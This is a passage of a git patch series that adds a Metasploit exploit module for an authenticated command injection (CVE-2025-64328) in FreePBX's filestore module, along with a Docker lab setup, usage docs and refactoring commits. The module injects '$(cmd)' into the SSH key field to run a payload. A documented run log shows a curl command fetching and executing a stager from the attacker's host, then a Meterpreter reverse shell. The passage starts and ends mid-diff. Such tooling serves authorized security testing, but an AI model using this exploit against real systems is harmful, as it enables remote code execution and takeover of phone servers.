+      - mariadb
+    restart: unless-stopped
+    ports:
+      - "18080:80"
+      - "18443:443"
+      - "5060:5060/udp"
+    environment:
+      MYSQL_ROOT_PASSWORD: changeme-root
+      MYSQL_DATABASE: asterisk
+      MYSQL_USER: freepbx
+      MYSQL_PASSWORD: changeme-db
+      MYSQL_HOST: mariadb
+      FILESTORE_VERSION: 17.0.2.44
+      LOWPRIV_USER: lowpriv
+      LOWPRIV_PASS: lowpriv123
+    volumes:
+      - freepbx-data:/var
+      - freepbx-log:/var/log
+    cap_add:
+      - NET_ADMIN
+    networks:
+      - freepbx-net
+
+volumes:
+  db-data:
+  freepbx-data:
+  freepbx-log:
+
+networks:
+  freepbx-net:
+    driver: bridge
+```
+
+2. Create a `Dockerfile`:
+```dockerfile
+FROM escomputers/freepbx:17
+
+COPY entrypoint.sh /usr/local/bin/entrypoint.sh
+RUN chmod +x /usr/local/bin/entrypoint.sh
+
+RUN mkdir -p /var/www/html/admin/assets/less/cache && chown -R asterisk:asterisk /var/www/html/admin/assets/less/cache && chmod -R 777 /var/www/html/admin/assets/less/cache || true
+
+ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
+```
+
+3. Create an `entrypoint.sh` script:
+```bash
+#!/bin/bash
+DB_HOST=${MYSQL_HOST:-mariadb}
+DB_USER=${MYSQL_USER:-freepbx}
+DB_PASS=${MYSQL_PASSWORD:-changeme-db}
+DB_NAME=${MYSQL_DATABASE:-asterisk}
+FILESTORE_VERSION=${FILESTORE_VERSION:-17.0.2.44}
+LOWPRIV_USER=${LOWPRIV_USER:-lowpriv}
+LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123}
+(
+    for i in {1..60}; do
+        mysqladmin ping -h $DB_HOST -u $DB_USER -p$DB_PASS --silent 2>/dev/null && break
+        sleep 2
+    done
+    for i in {1..120}; do
+        asterisk -rx "core show version" >/dev/null 2>&1 && break
+        sleep 2
+    done
+    [ ! -f /etc/freepbx.conf ] && cd /usr/local/src/freepbx && php install -n --dbuser=$DB_USER --dbpass=$DB_PASS --dbhost=$DB_HOST >/dev/null 2>&1
+    for i in {1..60}; do
+        command -v fwconsole >/dev/null 2>&1 && fwconsole ma list >/dev/null 2>&1 && break
+        sleep 5
+    done
+    fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION" || (fwconsole ma downloadinstall filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1; fwconsole ma enable filestore >/dev/null 2>&1)
+    fwconsole ma list 2>/dev/null | grep -q "userman" || (fwconsole ma downloadinstall userman >/dev/null 2>&1; fwconsole ma enable userman >/dev/null 2>&1)
+    sleep 10
+    mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$LOWPRIV_USER', SHA1('$LOWPRIV_PASS'), 'filestore');" >/dev/null 2>&1
+) &
+exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@"
+```
+
+Make sure to make the script executable: `chmod +x entrypoint.sh`
+
+4. Run `docker compose up -d` to start the environment.
+
+5. Access the FreePBX web interface at `http://localhost:18080/admin/config.php` and complete the initial setup to create an admin user.
+
+6. Follow the verification steps below.
+
+## Options
+
+### USERNAME
+
+The FreePBX username. This can be a low-privilege user, but the user must be in the "Filestore" group to have access to the filestore
+module. Default: `admin`
+
+### PASSWORD
+
+The FreePBX password. This must be set to a valid password.
+
+## Verification Steps
+
+1. Start msfconsole
+2. `use exploit/unix/http/freepbx_filestore_cmd_injection`
+3. `set RHOSTS <TARGET_IP_ADDRESS>`
+4. `set RPORT <TARGET_PORT>` (default: 80)
+5. `set USERNAME <USERNAME>`
+6. `set PASSWORD <PASSWORD>`
+7. `set LHOST <YOUR_IP>`
+8. `run`
+
+## Scenarios
+
+### Using a Low-Privilege User
+
+The module works with low-privilege users that are in the "Filestore" group and have access to the filestore module:
+
+```
+msf exploit(unix/http/freepbx_filestore_cmd_injection) > run
+[*] Command to run on remote host: curl -so ./MscaNzRKZxn http://172.24.0.1:8080/a_wPTF3QFDQmW1loFQm32w;chmod +x ./MscaNzRKZxn;./MscaNzRKZxn&
+[*] Fetch handler listening on 172.24.0.1:8080
+[*] HTTP server started
+[*] Adding resource /a_wPTF3QFDQmW1loFQm32w
+[*] Started reverse TCP handler on 172.24.0.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Vulnerable filestore version 17.0.2.44 detected
+[*] Filestore module version: 17.0.2.44
+[*] Client 172.24.0.3 requested /a_wPTF3QFDQmW1loFQm32w
+[*] Sending payload to 172.24.0.3 (curl/7.88.1)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3090404 bytes) to 172.24.0.3
+[*] Meterpreter session 20 opened (172.24.0.1:4444 -> 172.24.0.3:59384) at 2025-11-23 00:26:55 +0100
+
+meterpreter > sysinfo
+Computer     : 172.24.0.3
+OS           : Debian 12.12 (Linux 6.14.0-115036-tuxedo)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > getuid
+Server username: asterisk
+meterpreter > 
+```
+
diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/complete_pbx.rb
similarity index 98%
rename from lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb
rename to lib/msf/core/exploit/remote/http/complete_pbx.rb
index adac9295f3c8d..9ab8f3c271db1 100644
--- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb
+++ b/lib/msf/core/exploit/remote/http/complete_pbx.rb
@@ -7,7 +7,7 @@ module HTTP
         #
         # Shared routines for Xorcom CompletePBX modules
         #
-        module XorcomCompletePbx
+        module CompletePBX
           # Probe root page and return appropriate CheckCode
           # @return [Msf::Exploit::CheckCode]
           def completepbx?
diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb
new file mode 100644
index 0000000000000..7d3f5d1e44081
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/freepbx.rb
@@ -0,0 +1,82 @@
+# -*- coding: binary -*-
+
+module Msf
+  class Exploit
+    class Remote
+      module HTTP
+        #
+        # Shared routines for FreePBX modules
+        #
+        module FreePBX
+          # Get the Referer header for FreePBX requests
+          #
+          # @return [String] Referer URL
+          #
+          def freepbx_referer
+            host = datastore['RHOSTS'] || rhost
+            host = '127.0.0.1' if host == '::1' || host == 'localhost'
+            "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}"
+          end
+
+          # Authenticate with supplied credentials and return the session cookie.
+          #
+          # @param username [String] FreePBX username
+          # @param password [String] FreePBX password
+          # @param timeout [Integer] The maximum number of seconds to wait before the request times out
+          # @return [String,nil] the session cookies as a single string on successful login, nil otherwise
+          #
+          def freepbx_login(username, password, timeout = 20)
+            # Get initial session and login page
+            res = send_request_cgi({
+              'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
+              'method' => 'GET',
+              'headers' => { 'Referer' => freepbx_referer }
+            }, timeout)
+
+            return nil unless res
+
+            # Extract session cookie
+            cookie = res.get_cookies
+            return nil if cookie.empty?
+
+            # Extract CSRF token if present
+            token = nil
+            if res.body =~ /name="token"\s+value="([^"]+)"/
+              token = Regexp.last_match(1)
+            end
+
+            # Login POST
+            post_data = {
+              'username' => username,
+              'password' => password
+            }
+            post_data['token'] = token if token
+
+            res = send_request_cgi({
+              'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
+              'method' => 'POST',
+              'cookie' => cookie,
+              'headers' => {
+                'Referer' => freepbx_referer,
+                'Content-Type' => 'application/x-www-form-urlencoded'
+              },
+              'vars_post' => post_data
+            }, timeout)
+
+            return nil unless res
+
+            if res.code == 302 || (res.code == 200 && !res.body.include?('Login'))
+              new_cookie = res.get_cookies
+
+              return new_cookie unless new_cookie.empty?
+
+              return cookie
+            end
+
+            nil
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb
index 9509f949236d8..65e4211a3936b 100644
--- a/lib/msf_autoload.rb
+++ b/lib/msf_autoload.rb
@@ -306,6 +306,8 @@ def custom_inflections
       'pfsense' => 'PfSense',
       'opnsense' => 'OPNSense',
       'pgadmin' => 'PgAdmin',
+      'freepbx' => 'FreePBX',
+      'complete_pbx' => 'CompletePBX'
     }
   end
 
diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
index 1f8feada01376..9a8394c27613c 100644
--- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
+++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
@@ -5,7 +5,7 @@
 
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
+  include Msf::Exploit::Remote::HTTP::CompletePBX
   prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
index 1128ada69f26d..4cc54f0d80db2 100644
--- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
+++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
@@ -5,7 +5,7 @@
 
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
+  include Msf::Exploit::Remote::HTTP::CompletePBX
   prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
index c33cec270b437..b730e8c4c0536 100644
--- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
+++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
+  include Msf::Exploit::Remote::HTTP::CompletePBX
   prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
new file mode 100644
index 0000000000000..996a4f1c64845
--- /dev/null
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -0,0 +1,168 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HTTP::FreePBX
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'FreePBX filestore authenticated command injection',
+        'Description' => %q{
+          This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the
+          FreePBX filestore module. The filestore module allows administrators to configure remote file
+          storage backends (SSH, FTP, etc.) for backup and file management purposes.
+
+          The vulnerability exists in the SSH driver's testconnection functionality, specifically in the
+          check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.
+          The function accepts user-controlled input for the SSH key path parameter, which is then passed
+          unsanitized to exec() calls when generating SSH keys.
+
+          The vulnerable code executes commands such as:
+          exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");
+
+          By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an
+          authenticated user can execute arbitrary commands on the underlying system with the privileges of
+          the web server process (typically the asterisk user).
+
+          This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in
+          17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that
+          has access to the filestore module. The user must be in the "Filestore" group (administrator or
+          low-privilege user).
+
+          Note: Due to the vulnerable code structure, the injected command may be executed multiple times,
+          potentially resulting in multiple Meterpreter sessions.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'Cory Billington',                            # Vulnerability discovery
+          'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
+        ],
+        'References' => [
+          ['CVE', '2025-64328'],
+          ['URL', 'https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw'],
+          ['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/']
+        ],
+        'Platform' => %w[unix linux],
+        'Arch' => ARCH_CMD,
+        'Targets' => [
+          [
+            'Unix Command',
+            {
+              'Platform' => %w[unix linux],
+              'Arch' => ARCH_CMD
+              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
+            }
+          ]
+        ],
+        'Privileged' => false,
+        'DisclosureDate' => '2025-11-08',
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
+        }
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']),
+        OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']),
+        OptString.new('PASSWORD', [true, 'FreePBX admin password', ''])
+      ]
+    )
+  end
+
+  def check
+    cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
+    return CheckCode::Unknown('Authentication failed') unless cookie
+
+    # Try to get filestore version
+    version = get_filestore_version
+    return CheckCode::Appears('Filestore module is accessible') unless version
+
+    # Version 17.0.3 and above are patched
+    return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3')
+
+    # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version)
+    if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
+      return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)")
+    end
+
+    CheckCode::Appears("Vulnerable filestore version #{version} detected")
+  end
+
+  def authenticate
+    @cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
+    fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie
+    @cookie
+  end
+
+  def get_filestore_version
+    authenticate unless @cookie
+
+    # Get version from the filestore page HTML (JavaScript includes version)
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
+      'cookie' => @cookie,
+      'headers' => { 'Referer' => freepbx_referer },
+      'vars_get' => {
+        'display' => 'filestore'
+      }
+    )
+
+    return nil unless res&.code == 200
+
+    # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
+    return nil unless res.body =~ /filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/
+
+    (version = Regexp.last_match(1)) =~ /^\d+\.\d+\.\d+\.\d+$/ ? version : nil
+  end
+
+  def send_filestore_request(vars_post = {})
+    cookie = authenticate
+
+    send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
+      'cookie' => cookie,
+      'headers' => {
+        'Referer' => freepbx_referer,
+        'Content-Type' => 'application/x-www-form-urlencoded'
+      },
+      'vars_get' => {
+        'module' => 'filestore',
+        'command' => 'testconnection',
+        'driver' => 'SSH'
+      },
+      'vars_post' => vars_post
+    )
+  end
+
+  def execute_command(cmd, _opts = {})
+    send_filestore_request(
+      'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
+      'port' => rand(1024..65535).to_s,
+      'user' => Rex::Text.rand_text_alphanumeric(8),
+      'key' => "$(#{cmd})",
+      'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
+    )
+  end
+
+  def exploit
+    authenticate
+    version = get_filestore_version
+    vprint_status("Filestore module version: #{version}") if version
+    execute_command(payload.encoded)
+  end
+end

From 36b294800b3da7965f809c09baf1f47d32fd6804 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sun, 23 Nov 2025 05:43:10 +0100
Subject: [PATCH 069/103] Simplify version extraction: use match directly and
 remove redundant regex validation

---
 .../exploits/unix/http/freepbx_filestore_cmd_injection.rb    | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index 996a4f1c64845..45f8183dcbea1 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -124,9 +124,8 @@ def get_filestore_version
     return nil unless res&.code == 200
 
     # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
-    return nil unless res.body =~ /filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/
-
-    (version = Regexp.last_match(1)) =~ /^\d+\.\d+\.\d+\.\d+$/ ? version : nil
+    match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
+    match ? match[1] : nil
   end
 
   def send_filestore_request(vars_post = {})

From b039d8a5756bdad29b533dec266dc7dc585d3fe9 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com>
Date: Sun, 23 Nov 2025 21:00:06 +0100
Subject: [PATCH 070/103] Update
 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
---
 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index 45f8183dcbea1..f2d4796e6107c 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -94,9 +94,7 @@ def check
     return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3')
 
     # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version)
-    if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
-      return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)")
-    end
+      return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)")  if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
 
     CheckCode::Appears("Vulnerable filestore version #{version} detected")
   end

From 63c5221f8a2867dc2a2172873b20844e7d371340 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com>
Date: Sun, 23 Nov 2025 21:00:13 +0100
Subject: [PATCH 071/103] Update
 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
---
 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index f2d4796e6107c..3a039e8825da9 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -123,7 +123,8 @@ def get_filestore_version
 
     # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
     match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
-    match ? match[1] : nil
+    return nil unless
+     match[1]
   end
 
   def send_filestore_request(vars_post = {})

From c42e44e3491dbeb625fbeb1927002deed38bb040 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sun, 23 Nov 2025 22:14:37 +0100
Subject: [PATCH 072/103] Optimize FreePBX module: cache auth/version, reduce
 verbosity, inline single-use functions

---
 lib/msf/core/exploit/remote/http/freepbx.rb   | 96 ++++++++++++-------
 .../http/freepbx_filestore_cmd_injection.rb   | 86 +++++++++--------
 2 files changed, 110 insertions(+), 72 deletions(-)

diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb
index 7d3f5d1e44081..e687892e49bb2 100644
--- a/lib/msf/core/exploit/remote/http/freepbx.rb
+++ b/lib/msf/core/exploit/remote/http/freepbx.rb
@@ -8,6 +8,14 @@ module HTTP
         # Shared routines for FreePBX modules
         #
         module FreePBX
+          # Get the admin config URI
+          #
+          # @return [String] Admin config URI path
+          #
+          def freepbx_admin_uri
+            normalize_uri(target_uri.path, 'admin', 'config.php')
+          end
+
           # Get the Referer header for FreePBX requests
           #
           # @return [String] Referer URL
@@ -15,10 +23,11 @@ module FreePBX
           def freepbx_referer
             host = datastore['RHOSTS'] || rhost
             host = '127.0.0.1' if host == '::1' || host == 'localhost'
-            "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}"
+            protocol = datastore['SSL'] ? 'https' : 'http'
+            "#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}"
           end
 
-          # Authenticate with supplied credentials and return the session cookie.
+          # Authenticate with supplied credentials and return the session cookie
           #
           # @param username [String] FreePBX username
           # @param password [String] FreePBX password
@@ -26,54 +35,77 @@ def freepbx_referer
           # @return [String,nil] the session cookies as a single string on successful login, nil otherwise
           #
           def freepbx_login(username, password, timeout = 20)
-            # Get initial session and login page
-            res = send_request_cgi({
-              'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
-              'method' => 'GET',
-              'headers' => { 'Referer' => freepbx_referer }
-            }, timeout)
+            cache_key = "#{username}:#{password}"
+            if @freepbx_auth_cache && @freepbx_auth_cache[cache_key]
+              return @freepbx_auth_cache[cache_key]
+            end
 
+            data = freepbx_get_login_page_data(timeout)
+            res = data[:response]
             return nil unless res
 
-            # Extract session cookie
             cookie = res.get_cookies
             return nil if cookie.empty?
 
-            # Extract CSRF token if present
-            token = nil
-            if res.body =~ /name="token"\s+value="([^"]+)"/
-              token = Regexp.last_match(1)
-            end
-
-            # Login POST
-            post_data = {
-              'username' => username,
-              'password' => password
-            }
-            post_data['token'] = token if token
-
-            res = send_request_cgi({
-              'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
+            login_response = send_request_cgi({
+              'uri' => freepbx_admin_uri,
               'method' => 'POST',
               'cookie' => cookie,
               'headers' => {
                 'Referer' => freepbx_referer,
                 'Content-Type' => 'application/x-www-form-urlencoded'
               },
-              'vars_post' => post_data
+              'vars_post' => {
+                'username' => username,
+                'password' => password
+              }
             }, timeout)
 
-            return nil unless res
+            return nil unless login_response
 
-            if res.code == 302 || (res.code == 200 && !res.body.include?('Login'))
-              new_cookie = res.get_cookies
+            body_lower = login_response.body.downcase
+            if body_lower.include?('invalid username or password') && body_lower.include?('obe_error')
+              @freepbx_auth_cache ||= {}
+              @freepbx_auth_cache[cache_key] = :auth_failed
+              return :auth_failed
+            end
 
-              return new_cookie unless new_cookie.empty?
+            return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login'))
 
-              return cookie
-            end
+            new_cookie = login_response.get_cookies
+            result = new_cookie.empty? ? cookie : new_cookie
+            @freepbx_auth_cache ||= {}
+            @freepbx_auth_cache[cache_key] = result
+            result
+          end
+
+          # Get or create the login page data
+          #
+          # @param timeout [Integer] Request timeout
+          # @return [Hash] Hash with :response and :detected keys
+          #
+          def freepbx_get_login_page_data(timeout = 20)
+            return @freepbx_login_page if @freepbx_login_page
 
-            nil
+            res = send_request_cgi({
+              'uri' => freepbx_admin_uri,
+              'method' => 'GET',
+              'headers' => { 'Referer' => freepbx_referer }
+            }, timeout)
+
+            body_lower = res&.body&.downcase || ''
+            detected = (res&.code == 200) && (
+              body_lower.match?(%r{<title>freepbx\s+administration</title>}) ||
+              (body_lower.include?('freepbx administration') && body_lower.include?('loginform')) ||
+              body_lower.include?('assets/js/freepbx.js') ||
+              body_lower.include?('freepbx-navbar') ||
+              (body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx'))
+            )
+
+            @freepbx_login_page = {
+              response: res,
+              detected: detected
+            }
           end
         end
       end
diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index 3a039e8825da9..53f1700e2b464 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -83,36 +83,49 @@ def initialize(info = {})
   end
 
   def check
-    cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
-    return CheckCode::Unknown('Authentication failed') unless cookie
+    data = freepbx_get_login_page_data
+    unless data[:detected]
+      vprint_status('Target does not appear to be FreePBX')
+      return CheckCode::Safe('Not FreePBX')
+    end
 
-    # Try to get filestore version
-    version = get_filestore_version
-    return CheckCode::Appears('Filestore module is accessible') unless version
+    cookie = authenticate
+    return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed
+    return CheckCode::Safe('Not FreePBX') if cookie.nil?
 
-    # Version 17.0.3 and above are patched
-    return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3')
+    version = get_filestore_version_cached(cookie)
+    return CheckCode::Detected('Filestore module version could not be determined') unless version
 
-    # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version)
-      return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)")  if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
+    version_obj = Rex::Version.new(version)
+    return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
+    return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
 
-    CheckCode::Appears("Vulnerable filestore version #{version} detected")
+    CheckCode::Appears("Filestore module vulnerable (version #{version})")
+  end
+
+  def exploit
+    cookie = authenticate
+    fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed
+    fail_with(Failure::Unknown, 'Connection error') if cookie.nil?
+
+    get_filestore_version_cached(cookie)
+    execute_command(payload.encoded, { cookie: cookie })
   end
 
   def authenticate
-    @cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
-    fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie
-    @cookie
+    data = freepbx_get_login_page_data
+    return nil unless data[:detected]
+
+    freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
   end
 
-  def get_filestore_version
-    authenticate unless @cookie
+  def get_filestore_version_cached(cookie)
+    return @filestore_version if @filestore_version
 
-    # Get version from the filestore page HTML (JavaScript includes version)
     res = send_request_cgi(
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
-      'cookie' => @cookie,
+      'cookie' => cookie,
       'headers' => { 'Referer' => freepbx_referer },
       'vars_get' => {
         'display' => 'filestore'
@@ -121,14 +134,18 @@ def get_filestore_version
 
     return nil unless res&.code == 200
 
-    # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
     match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
-    return nil unless
-     match[1]
+    return nil unless match
+
+    version = match[1]
+    vprint_status("Filestore module version: #{version}")
+    @filestore_version = version
+    version
   end
 
-  def send_filestore_request(vars_post = {})
-    cookie = authenticate
+  def execute_command(cmd, opts = {})
+    cookie = opts[:cookie]
+    fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
 
     send_request_cgi(
       'method' => 'POST',
@@ -143,24 +160,13 @@ def send_filestore_request(vars_post = {})
         'command' => 'testconnection',
         'driver' => 'SSH'
       },
-      'vars_post' => vars_post
-    )
-  end
-
-  def execute_command(cmd, _opts = {})
-    send_filestore_request(
-      'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
-      'port' => rand(1024..65535).to_s,
-      'user' => Rex::Text.rand_text_alphanumeric(8),
-      'key' => "$(#{cmd})",
-      'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
+      'vars_post' => {
+        'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
+        'port' => rand(1024..65535).to_s,
+        'user' => Rex::Text.rand_text_alphanumeric(8),
+        'key' => "$(#{cmd})",
+        'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
+      }
     )
   end
-
-  def exploit
-    authenticate
-    version = get_filestore_version
-    vprint_status("Filestore module version: #{version}") if version
-    execute_command(payload.encoded)
-  end
 end

From 67642dd9a072eada3e41ff5585f0958c97e01c06 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Thu, 27 Nov 2025 22:42:50 +0100
Subject: [PATCH 073/103] Refactor authenticate method to raise exceptions
 instead of returning special values

---
 .../http/freepbx_filestore_cmd_injection.rb   | 28 +++++++++++++------
 1 file changed, 20 insertions(+), 8 deletions(-)

diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
